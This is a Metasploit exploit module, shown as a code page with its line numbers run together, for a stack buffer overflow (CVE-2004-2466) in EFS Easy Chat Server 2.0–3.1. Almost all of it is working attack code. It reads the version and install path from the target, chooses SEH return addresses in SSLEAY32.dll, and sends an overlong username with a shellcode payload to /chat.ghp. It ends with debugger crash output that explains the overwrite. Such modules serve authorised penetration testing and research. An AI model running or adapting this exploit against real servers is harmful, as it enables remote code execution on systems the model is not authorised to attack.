Path: blob/master/modules/exploits/windows/http/efs_easychatserver_username.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::Seh1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',18'Description' => %q{19This module exploits a stack buffer overflow in EFS Software Easy Chat20Server versions 2.0 to 3.1. By sending an overly long authentication21request, an attacker may be able to execute arbitrary code.22},23'Author' => [24'LSO <lso[at]hushmail.com>', # original metasploit25'bcoles' # metasploit26],27'License' => BSD_LICENSE,28'References' => [29[ 'CVE', '2004-2466' ],30[ 'OSVDB', '7416' ],31[ 'OSVDB', '106841' ],32[ 'BID', '25328' ]33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36},37'Privileged' => false,38'Payload' => {39'Space' => 7000,40'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",41'StackAdjustment' => -3500,42},43'Platform' => 'win',44'Targets' => [45# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:46# -- Windows XP SP 3 (x86) (EN)47# -- Windows 7 SP 1 (x64) (EN)48# -- Windows 8 SP 0 (x64) (EN)49[ 'Automatic Targeting', { 'auto' => true } ],50# p/p/r SSLEAY32.dll51[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],52# p/p/r SSLEAY32.dll53[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]54],55'DisclosureDate' => '2007-08-14',56'DefaultTarget' => 0,57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62)63)64end6566def check67version = get_version68if not version69return Exploit::CheckCode::Safe70end7172vprint_status "Found version: #{version}"73if version !~ /^(2\.\d|3\.0|3\.1)$/74return Exploit::CheckCode::Safe75end7677path = get_install_path78if not path79return Exploit::CheckCode::Detected80end8182vprint_status "Found path: #{path}"83return Exploit::CheckCode::Appears84end8586#87# Get software version from change log88#89def get_version90res = send_request_raw 'uri' => '/whatsnew.txt'91if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/92return "#{$1}"93end94end9596#97# Get software installation path from uninstall file98#99def get_install_path100res = send_request_raw 'uri' => '/unins000.dat'101if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i102return "#{$1}"103end104end105106def exploit107# get target108if target.name =~ /Automatic/109version = get_version110vprint_status "Found version: #{version}" if version111if not version or version !~ /^(2\.\d|3\.0|3\.1)$/112fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")113elsif version =~ /(2\.0)/114my_target = targets[1]115elsif version =~ /(2\.\d|3\.0|3\.1)/116my_target = targets[2]117end118else119my_target = target120end121122# get install path123path = get_install_path124if not path125fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")126end127path << "\\users\\"128vprint_status "Using path: #{path}"129130# send payload131sploit = rand_text_alpha(256 - path.length)132sploit << generate_seh_payload(my_target.ret)133print_status "Sending request (#{sploit.length} bytes) to target (#{my_target.name})"134send_request_cgi({135'uri' => '/chat.ghp',136'encode_params' => false,137'vars_get' => {138'username' => sploit,139'password' => rand_text_alphanumeric(rand(10) + 1),140'room' => 1,141'sex' => rand_text_numeric(1)142}143}, 5)144end145end146147=begin1481490x004144C8 calls sprintf with the following arguments:150sprintf(&FileName, "%susers\\%s", path, username);151152Since we can make the username larger than the allocated buffer size153we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with154a short jmp to the beginning of our shellcode.155156(46c.144): Access violation - code c0000005 (first chance)157First chance exceptions are reported before any exception handling.158This exception may be expected and handled.159eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea160eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc161cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202162EasyChat+0x45f34:16300445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??1641650:005> !exchain16601216dd8: 41414141167Invalid exception stack at 41414141168=end169170171